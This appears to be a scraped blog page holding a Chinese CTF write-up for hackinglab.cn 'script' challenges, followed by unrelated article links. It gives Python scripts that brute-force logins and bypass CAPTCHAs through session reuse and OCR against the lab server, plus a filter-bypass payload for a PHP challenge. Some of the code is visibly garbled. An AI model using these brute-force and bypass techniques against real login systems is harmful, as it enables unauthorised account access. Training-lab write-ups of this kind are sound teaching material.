[1]key又又找不到了
查看源代码。发现key的路径,点击进行了302跳转,抓包,得到key

[2]快速口算
要2秒内提交答案,果断上python

import requests,re
s = requests.Session() url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
html = s.get(url).content reg = r'([0-9].+)=<' num = eval(re.findall(reg,html)[])
data = {'v': num}
print s.post(url, data=data).content

[3]这个题目是空的
null

[4]怎么就是不弹出key呢?
js代码,学习后补充

[5]逗比验证码第一期
用burp进行抓包,发解现验证码只是验证一次,第二次后就会失去作用。果断暴力破解

[6]逗比验证码第二期
burp抓包。发现验证码每次都需要要做。干脆直接删除验证码。进行暴力破解

[7]逗比的验证码第三期(SESSION)
直接跑代码

import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
header = {"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"} for pwd in range(1000,10000):
payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
r = s.post(url,headers=header,data=payload).content
if r.count("key"):
print r,pwd

[8]微笑一下就能过关了
查看源代码,发现源码

<?php
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
} include('flag.php'); $smile = 1; if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>

发现必须满足以下条件
1.必须对"^_^"赋值
2."^_^"的值不能有 . % [0-9] http https ftp telnet 这些东西
3.$_SERVER['QUERY_STRING'],即"^_^=(输入的值)"这个字符串不能有 _ 这个字符
4.满足$smile!=0
5.file_exists ($_GET['^_^'])必须为0.也就是$_GET['^_^']此文件不存在
6."$smile"必须等于"(●'◡'●)".也就是file_get_contents($_GET['^_^'])必须为"(●'◡'●)"

1和3矛盾,对"_"进行url编码。4可以忽略。5文件不存在,6又要读出文件,说明只能自己写入或者包含

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(●'◡'●)
得到key

[9]逗比的手机验证码
查看验证码,发现弹出一个验证码。转到另外一个页面,有一个手机号。看样子要登录,重新获取自己手机的验证码,对新手机号进行登录。登录成功,拿到KEY

[10]基情燃烧的岁月
两次爆破验证码就可以了

[11]验证码识别

from pytesser import *
import requests
import os cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facb1'} def vcode():
pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im=Image.open('vcode.png')
text=image_to_string(im)
v=text[0:4].replace('O','').replace('o','').replace('l','')
if len(v)==4 and v.isdigit():
return v
else:
return 0 url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
while 1:
code = vcode()
if code:
break
data = {'username': '', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
print 'm_vode=%s u_vcode=%s %s' %(i,code,r.content)

[12],[13],[14],[15]

xss。学习了补上

网络安全实验室 脚本关通关writeup的更多相关文章

  1. 网络安全实验室 注入关通关writeup

    URL:http://hackinglab.cn 注入关  [1] 最简单的SQL注入username = admin' or ''='password随便什么都可以直接可以登录 [2] 熟悉注入环境 ...

  2. HackingLab脚本关

    目录 1:key又又找不到了 2:快速口算 3:这个题目是空的 5:逗比验证码第一期 6:逗比验证码第二期 7:逗比的验证码第三期(SESSION) 8:微笑一下就能过关了 9:逗比的手机验证码 10 ...

  3. hackinglab 脚本关 writeup

    地址:http://hackinglab.cn 脚本关 key又又找不到了 点击提供的链接后,实际发生了两次跳转,key 在第一次跳转的网页中,key is : yougotit_script_now ...

  4. 网络安全实验室_注入关writeup

    最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...

  5. 网络安全实验室_上传关writeup

    请上传一张jpg格式的图片 先传个图片码试试 我肯定乖嘛(#`Д´)ノ 气到改后缀 请上传一张jpg格式的图片 我猜是00截断,不信来试试 先在赋值1.php .jpg,接着去hex中找到空格改成00 ...

  6. 网络安全实验室--SQL注入关

    第一关 万能密码:username='or '1'='1'#    password=1    即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union selec ...

  7. 网络信息安全攻防学习平台 上传,解密通关writeup

    上传关 [1]查看源代码,发现JS代码.提交时onclick进行过验证.ctrl+shift+i 打开开发者工具,将conclick修改为 return True,即可以上传上传php文件,拿到KEY ...

  8. 光棍节程序员闯关秀writeup

    答题链接https://1111.segmentfault.com/ 第一关 首先当然是右键查看源码啊 点击链接进入下一关 第二关 还是老样子,右键查看源码 这个key是要放在URL链接里敲回车的 第 ...

  9. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

随机推荐

  1. SVG的text使用

    SVG的text使用: 参考:http://www.docin.com/p-7393979.html <%@ page language="java" contentType ...

  2. CODEFORCES 125E MST Company 巧用Kruskal算法

    题意:给定一个带权边无向图,求最小生成树,且满足第一个节点的度为固定的k 无解则输出-1 数据规模: 节点数n和限制k<=5000 边数m<=10^5 时限8sec 思路: 首先时限比较宽 ...

  3. Lottie安卓开源动画库使用

    碉堡的Lottie Airbnb最近开源了一个名叫Lottie的动画库,它能够同时支持iOS,Android与ReactNative的开发.此消息一出,还在苦于探索自定义控件各种炫酷特效的我,兴奋地就 ...

  4. 【踩坑速记】MIUI系统BUG,调用系统相机拍照可能会带给你的一系列坑,将拍照适配方案进行到底!

    一.写在前面 前几天也是分享了一些学习必备干货(还没关注的,赶紧入坑:传送门),也好久没有与大家探讨技术方案了,心里也是挺痒痒的,这不,一有点闲暇之时,就迫不及待把最近测出来的坑分享给大家. 提起An ...

  5. Code forces 719A Vitya in the Countryside

    A. Vitya in the Countryside time limit per test:1 second memory limit per test:256 megabytes input:s ...

  6. Swift2.0 函数学习笔记

    最近又有点忙,忙着找工作,忙着适应这个新环境.现在好了,上班两周周了,也适应过来了,又有时间安安静静的就行我们前面的学习了.今天这篇笔记,记录的就是函数的使用.下面这些代码基本上是理清楚了函数的额使用 ...

  7. C语言总结

    我们用了20天的时间左右的时间来学习简单的C语言,对于C语言,总体来说我是学的不是特别透彻,感觉自己什么都不懂一样.明天就要考试了,希望明天考个好成绩,为明年打下一个良好的基础. 这段时间我们学习了: ...

  8. Android基础工具函数代码集

    整理在学习研究Android开发,编写了一些基本用到的工具集,现在整理分享(后续会持续更新,有问题还请指出). 1.HttpClient工具,使用Apache的HttpClient类实现get和pos ...

  9. Python 接口测试(一)

    @font-face { font-family: "Times"; }@font-face { font-family: "宋体"; }@font-face ...

  10. C语言程序_管理系统

    #include <stdio.h> #include <stdlib.h> #include <string.h> #define N 3 #define LEN ...